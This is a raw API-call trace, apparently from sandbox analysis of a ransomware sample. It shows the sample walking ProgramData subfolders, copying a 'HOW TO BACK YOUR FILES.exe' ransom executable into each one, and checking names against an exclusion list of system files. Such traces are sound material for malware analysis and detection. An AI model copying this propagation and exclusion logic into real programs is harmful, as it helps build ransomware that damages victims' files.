	[0084.893] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcc4790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0
	[0084.893] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.893] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a50
	[0084.893] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views"
	[0084.893] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0084.893] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0084.893] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned 47
	[0084.893] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views"
	[0084.893] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.893] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.894] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.894] GetLastError () returned 0x0
	[0084.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.894] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.894] CloseHandle (hObject=0x10c) returned 1
	[0084.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.894] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.894] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcc4790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.895] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.895] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.895] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.895] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcc4790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.895] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.895] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.895] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.895] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.895] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Apollon865.txt.exe") returned 1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2=".") returned 1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="..") returned 1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="windows") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="bootmgr") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="temp") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="pagefile.sys") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="boot") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="ids.txt") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="ntuser.dat") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="perflogs") returned -1
	[0084.895] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="MSBuild") returned -1
	[0084.895] lstrlenW (lpString="ApplicationViewsRootNode") returned 24
	[0084.895] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*") returned 49
	[0084.895] lstrcpyW (in: lpString1=0x119e668, lpString2="ApplicationViewsRootNode" | out: lpString1="ApplicationViewsRootNode") returned="ApplicationViewsRootNode"
	[0084.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0084.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5c8f30
	[0084.895] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a50 | out: ListHead=0x5b75f0, ListEntry=0x5b7a50) returned 0x5b7ad0
	[0084.895] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcc4790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.895] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.896] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcc4790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.896] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.896] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a50
	[0084.896] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0084.896] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0084.896] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0084.896] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 72
	[0084.896] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0084.896] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.896] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.897] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.897] GetLastError () returned 0x0
	[0084.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.897] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.897] CloseHandle (hObject=0x10c) returned 1
	[0084.897] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.897] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.897] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.897] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.897] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.897] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.897] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.897] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.898] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.898] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.898] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.898] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcea8f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.898] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.898] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcea8f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.898] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.898] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ad0
	[0084.898] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\eHome", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome"
	[0084.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdde8 | out: hHeap=0x580000) returned 1
	[0084.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0084.898] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\eHome") returned 34
	[0084.898] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\eHome" | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome"
	[0084.898] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.898] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.899] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.899] GetLastError () returned 0x0
	[0084.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.899] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.899] CloseHandle (hObject=0x10c) returned 1
	[0084.899] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.899] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.899] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.899] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.899] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.899] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.899] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.899] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.899] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.899] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.899] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.899] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcea8f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.899] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.900] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="Apollon865.txt.exe") returned 1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2=".") returned 1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="..") returned 1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="windows") returned -1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="bootmgr") returned 1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="temp") returned -1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="pagefile.sys") returned -1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="boot") returned 1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="ids.txt") returned 1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="ntuser.dat") returned -1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="perflogs") returned -1
	[0084.900] lstrcmpiW (lpString1="logs", lpString2="MSBuild") returned -1
	[0084.900] lstrlenW (lpString="logs") returned 4
	[0084.900] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\eHome\\*") returned 36
	[0084.900] lstrcpyW (in: lpString1=0x119e64e, lpString2="logs" | out: lpString1="logs") returned="logs"
	[0084.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0084.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb18
	[0084.900] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ad0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ad0) returned 0x5b7b70
	[0084.900] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
	[0084.900] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.900] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ad0
	[0084.900] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\eHome\\logs", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs"
	[0084.900] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0084.900] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0084.900] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned 39
	[0084.900] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\eHome\\logs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs"
	[0084.900] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.900] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.901] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.901] GetLastError () returned 0x0
	[0084.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.901] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.901] CloseHandle (hObject=0x10c) returned 1
	[0084.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.901] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.901] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.902] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.902] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.902] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.902] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.902] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.902] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.902] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.902] lstrcmpiW (lpString1="..", lpString2="..") returned 0
